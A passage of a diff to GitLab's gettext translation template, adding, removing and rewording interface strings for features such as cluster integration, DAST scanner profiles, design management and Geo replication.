+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
